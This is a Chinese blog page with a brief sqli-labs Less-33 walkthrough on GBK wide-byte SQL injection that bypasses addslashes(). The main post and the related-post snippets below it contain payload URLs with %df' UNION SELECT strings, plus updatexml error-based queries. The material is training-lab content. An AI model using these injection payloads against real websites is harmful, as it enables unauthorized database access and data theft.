【sqli-labs】 less33 GET- Bypass AddSlashes (GET型绕过addslashes() 函数的宽字节注入)

最新推荐文章于 2024-04-08 16:45:01 发布
转载 最新推荐文章于 2024-04-08 16:45:01 发布 · 241 阅读 · 0 ·
CC 4.0 BY-SA版权
原文链接：http://www.cnblogs.com/omnis/p/8384433.html

本文通过实例演示了如何利用SQL注入漏洞，详细介绍了使用addslashes()函数进行关键字符添加的方法，以及如何构造payload来实现对数据库的非法访问。示例中展示了具体的URL参数设置，为读者提供了深入理解SQL注入攻击技巧的机会。

和less32一样，对关键字符进行了添加\

关于addslashes()函数

 payload和less32一样

http://192.168.136.128/sqli-labs-master/Less-33/?id=0%df' union select 1,2,3%23

 

转载于:https://www.cnblogs.com/omnis/p/8384433.html

ajxi63204
关注
sqli-labs Less-32、33、34、35、36、37（sqli-labs闯关指南 32、33、34、35、36、37）—宽字节注入
m0_54899775的博客
12-26 2098
sqli-labs Less-32、33、34、35、36、37（sqli-labs闯关指南 32、33、34、35、36、37）—宽字节注入
sqli-labs学习笔记（十一）less 32-37 宽字节注入
闵行小鱼塘
09-18 883
继续学习sqli-labs，本篇是less 32-37
Sqli-labs less 33
weixin_33795743的博客
08-11 221
Less-33 本关和上一关的payload是一样的 http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27union%20select%201,user(),3--+ 从源代码中可以看到： 此处过滤使用函数addslashes() addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是： 单...
【sqli-labs】 less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)
ajxi63204的博客
01-30 425
还是宽字节注入，POST版本的 uname=1&passwd=1%df' union select 1,2,3# 提交报错 列名不匹配，改一下就好了 uname=1&passwd=1%df' union select 1,2# 看一下源码，果然只select了两个字段 转载于:https://www.cnblogs.com...
sqli-labs:less-33(宽字节绕过addslashes()）
羽的博客
10-19 268
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; char...
sqli-labs————Less-33
Fly_鹏程万里
05-19 768
Less-33查看源代码：&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&..
mysql 绕过addslashes,SQL注入：Bypass addslashes()
weixin_39719749的博客
03-23 1539
上次研究了GBK双字节注入，这次就得想办法用于实战，我们知道在很多时候，代码会对我们的输入进行过滤或者转义，过滤的的话我们想办法绕过就行，而转义，就得另想办法了addslashes()这是PHP中的一个安全函数addslashes() 函数在指定的预定义字符前添加反斜杠。这些预定义字符是：单引号 (‘)双引号 (“)反斜杠 (\)NULL语法addslashes(string)参数描述string...
Sqli-labs靶场详细攻略Less 29-33
qq_41755084的博客
10-27 1798
这一关在web应用前有一个waf，在关卡列表界面直接点开是没有的，要在地址栏输入才是有waf保护的界面其实这里并不是真正的硬件waf，只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码，不过随着时代的发展，waf也在变化，专门配置这样一个waf也没太有必要，直接使用这个模拟题目的就好了。这一关在正常配置waf的情况下，的结构图如下所示客户端在访问服务器端时，需要先经过一个tomcat服务器，这个tomcat服务器中部署的过滤代码充当了waf。
Sqli-labs靶场详细攻略Less 34-37
qq_41755084的博客
10-31 1167
这一关还是进行宽字节注入，与上一关的区别在于使用了post方法进行传递。先试一下上一关的注入代码。因为这一关是登录，就使用之前的dumb账号。登陆失败了，也没报错，看一下这个包传递时post方法里参数是咋传的。可以看到，我们输入的注入代码在前端被进行了一个url编码，%被编码成了%25，原来的空格被替换成了+，原来的+被替换成了%2b那我们再把这个包改回来就好，+不用改回空格，在服务端会改回来的。并且经过尝试，这里的列数为2。注入成功。
sqli-labs注入方法总结
wutiangui的博客
09-23 429
用户名：1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(用户名：1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(用户名：1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+删除bp原先的cookie，使用以下语句。
sql注入绕过addslashes函数-宽字节注入
G208_522的博客
03-15 4894
宽字节注入 宽字节注入要求： 1、数据库的编码为GBK 2、addslashes（）函数，检测在单引号前加\ addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是： 单引号（’） 双引号（"） 反斜杠（\） NULL 一、单引号探测 http://localhost:8899/sqli-lab/Less-33/index.php?id=1' 这里我们发现我们输入的’直接被转义成\了，在一般情况下，此处是不存在SQL注入漏洞的，不过有一个特例，就是当数据库的编码为G
sqli-labs (less-33)
kukudeshuo的博客
03-13 867
sqli-labs (less-33) 进入33关，输入id=1 这里我们直接通过查看源代码查看这关是否也使用了GBK编码 可知确实使用了GBK编码，所以我们在单引号前面输入%df即可让单引号成功逃逸 http://127.0.0.1/sql1/Less-33/?id=1%df' 根据错误显示判断闭合方式为’–+，并且为字符型注入 查看回显位置 http://127.0.0.1/sql1/Less-33/?id=-1%df' union select 1,2,3--+ 接下来的步骤与less-3
小技巧|addslashes绕过
weixin_30906425的博客
11-26 1632
1：字符编码问题导致绕过 1.1、设置数据库字符为gbk导致宽字节注入 1.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入 2：编码解码导致的绕过 2.1、url解码导致绕过addslashes 2.2、base64解码导致绕过addslashes 2.3、json编码导致绕过addslashes 3：一些特殊情况导致的绕过 ...
宽字节注入---GBK双字节绕过
糖小喵
04-21 1019
原理 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串 在mysql中，用于转义（即在字符串中的符号前加上”\”）的函数有addslashes，mysql_real_escape_string，mysql_escape_string等，还有一种情况是magic_quote_gpc，不过高版本的PHP将去除这个特性。 mysql 在使用 GBK 编码的时候， 会认为两个字符...
mysql 绕过addslashes_代码审计Day13 - 特定场合下addslashes函数的绕过
weixin_34236986的博客
02-07 868
原标题：代码审计Day13 - 特定场合下addslashes函数的绕过前言大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫PHP-Audit-Labs。现在大家所看到的系列文章，属于项目第一阶段的内容，本阶段的内容题目均来自PHP SECURITY CALENDAR 2017。对于每一道题目，我们均给出对应的分析，并结...
mysql 绕过addslashes_代码审计之绕过addslashes总结
weixin_31109967的博客
01-19 1258
if(is_null($_REQUEST['username']) || is_null($_REQUEST['password'])){die();}$link=mysql_connect("localhost","root","root");mysql_query("SET NAMES 'gbk'");mysql_select_db("test",$link);$username=$_REQU...
addslashes注入漏洞与mb_addslashes
热门推荐
龙哥盟
08-05 4万+
由于addslashes无视目标字符串的编码，直接按照二进制字节对字符串添加下划线，会导致很多注入隐患。 防止
代码审计sql注入部分函数绕过方法
最新发布
weixin_68408599的博客
04-08 1213
这里我们可以看到在对代码层面做操作，首先有个函数addslashes，他是一种在PHP中存在的字符串处理函数，它的作用是在指定的字符前添加反斜线。（bf是第一个而5c是第二个），当使用GBK编码遇到两个字节都符合其取值范围时，就会将其解析成为一个汉字，第一个字节取值范围为。这里过滤了太多东西，大小写还有正则，但是我们回到第一张图片，可以看到一个函数：urldecode()，对url解码。在这里，看似可能是安全的，但是还是无法解决问题，因为在第8行的。，有些程序员为了方便，可能也会在这边偷工减料。
Sqlilabs Less32-37 bypass slashes
baynk的博客
04-04 539
Less-32 Bypass custom filter adding slashes to dangerous chars 手工注入 在输入单引号后，就在页面的最下面就显示已经转义了。 看到转入就直接上宽字节注入吧，不清楚的可以去百度搜一搜什么是宽字节注入。。。我这就不写了。 知道这个前面加%df就好，后面的和其它一样就不继续写了。 话说，32关JSP也有阿，但是就是一个普通的单引号的闭合。。...
Sqli-labs Less-26与26a注入绕过技术分析
本文以“Sqli-labs注入分析[代码]”为背景，深入剖析了该实验环境中Less-26与Less-26a两个关键关卡所涉及的高级绕过技术，尤其是针对空格、注释符、逻辑操作符（如OR、AND）以及小括号等敏感字符被严格过滤情况下的...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值